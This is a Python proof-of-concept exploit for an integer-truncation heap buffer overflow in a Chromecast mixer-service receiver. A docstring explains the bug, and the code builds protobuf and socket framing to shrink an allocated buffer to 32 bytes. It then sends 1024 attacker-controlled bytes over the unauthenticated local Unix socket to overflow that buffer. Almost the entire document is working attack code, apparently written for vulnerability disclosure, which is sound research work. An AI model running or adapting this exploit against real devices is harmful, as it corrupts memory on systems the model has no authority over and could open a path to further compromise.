#!/usr/bin/env python3
"""
Exploit client for the Chromecast mixer-service integer-truncation heap
buffer overflow.

The mixer-service receiver listens on an unauthenticated abstract-namespace
Unix-domain socket "\0/tmp/mixer-service" inside the cast_shell browser
process.  Any local process that can open AF_UNIX/SOCK_STREAM can connect.

This script sends, in a single write:
  1. A SmallMessageSocket-framed `Generic` metadata proto carrying
     OutputStreamParams{ num_channels=1, sample_rate=48000,
                         sample_format=SAMPLE_FORMAT_FLOAT_I,
                         fill_size_frames=0x40000004 }.
     In MixerInputConnection::CreateBufferPool the size_t product
       16 + 1 * sizeof(float) * 0x40000004 = 0x100000020
     is narrowed to int 32, so a 32-byte IOBufferPool is created while
     buffer_pool_frames_ = 0x40000004.
  2. A kAudio frame whose payload is 1024 attacker-controlled bytes.
     HandleAudioData computes num_frames=256 <= 0x40000004 (no resize),
     fetches a 32-byte buffer from the pool, and copies 256 floats
     (verbatim, since Float32SampleTypeTraits::ToFloat is the identity)
     into buffer->data()+16, overflowing the 32-byte AlignedAlloc data
     area by ~1008 bytes with fully attacker-controlled content.

Under ASAN this triggers heap-buffer-overflow in
  ConvertInterleavedData<media::Float32SampleTypeTraits>
called from MixerInputConnection::HandleAudioData.
"""

import socket
import struct
import sys

# ---------------------------------------------------------------------------
# protobuf helpers (hand-rolled so the POC has zero deps)
# ---------------------------------------------------------------------------

def varint(n):
    out = bytearray()
    while True:
        b = n & 0x7F
        n >>= 7
        if n:
            out.append(b | 0x80)
        else:
            out.append(b)
            return bytes(out)


def field_varint(field_no, value):
    return varint((field_no << 3) | 0) + varint(value)


def field_len_delim(field_no, payload):
    return varint((field_no << 3) | 2) + varint(len(payload)) + payload


# ---------------------------------------------------------------------------
# Build the OutputStreamParams / Generic proto
# ---------------------------------------------------------------------------

# audio_service.SampleFormat enum (chromecast/media/audio/net/common.proto)
SAMPLE_FORMAT_FLOAT_I = 2

# Chosen so that on a 64-bit host:
#   size_t s = 16 + 1 * 4 * 0x40000004 = 0x100000020
#   int converted_buffer_size = (int)s = 32
FILL_SIZE_FRAMES = 0x40000004

osp = b""
osp += field_varint(3, SAMPLE_FORMAT_FLOAT_I)  # sample_format
osp += field_varint(5, 48000)                  # sample_rate
osp += field_varint(6, 1)                      # num_channels
osp += field_varint(9, FILL_SIZE_FRAMES)       # fill_size_frames
osp += field_varint(10, 0)                     # start_threshold_frames

generic = field_len_delim(1, osp)              # Generic.output_stream_params

# ---------------------------------------------------------------------------
# Wrap in AudioSocket / SmallMessageSocket framing
# ---------------------------------------------------------------------------

# AudioSocket message types (chromecast/media/audio/net/audio_socket.cc)
TYPE_METADATA = 0
TYPE_AUDIO    = 1


def frame_metadata(proto_bytes):
    # AudioSocket metadata body:
    #   int16  packet_type        (host byte order = LE)
    #   int32  padding_bytes BE   (0..3)
    #   <proto bytes>
    #   <padding>
    padding = (4 - (len(proto_bytes) % 4)) % 4
    body  = struct.pack("<h", TYPE_METADATA)
    body += struct.pack(">I", padding)
    body += proto_bytes
    body += b"\x00" * padding
    # SmallMessageSocket: 2-byte BE size prefix.
    assert len(body) < 0xFFFF
    return struct.pack(">H", len(body)) + body


def frame_audio(payload):
    # AudioSocket kAudio body:
    #   int16  packet_type   (host byte order = LE)
    #   int64  timestamp     (host byte order = LE)
    #   int32  padding       (ignored)
    #   <audio payload>
    body  = struct.pack("<h", TYPE_AUDIO)
    body += struct.pack("<q", 0)      # timestamp
    body += struct.pack("<i", 0)      # padding
    body += payload
    assert len(body) < 0xFFFF
    return struct.pack(">H", len(body)) + body


# Audio payload: 256 frames * 1 channel * sizeof(float) = 1024 bytes.
# Float32SampleTypeTraits::ToFloat is the identity, so these bytes are
# written verbatim past the 32-byte pool buffer.
audio_payload = (b"\x41\x41\x41\x41" * 256)

wire = frame_metadata(generic) + frame_audio(audio_payload)

# ---------------------------------------------------------------------------
# Connect to the abstract-namespace UDS and send both messages atomically
# ---------------------------------------------------------------------------

addr = "\0/tmp/mixer-service"
if len(sys.argv) > 1:
    # Allow overriding the abstract path for --mixer-service-endpoint testing.
    addr = "\0" + sys.argv[1]

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(addr)
s.sendall(wire)
print(f"[+] sent {len(wire)} bytes ({len(generic)}-byte proto, "
      f"{len(audio_payload)}-byte audio payload) to {addr!r}")

# Hold the connection open briefly so the receiver definitely processes
# both messages before we close.
try:
    s.settimeout(5.0)
    s.recv(4096)
except Exception:
    pass
s.close()
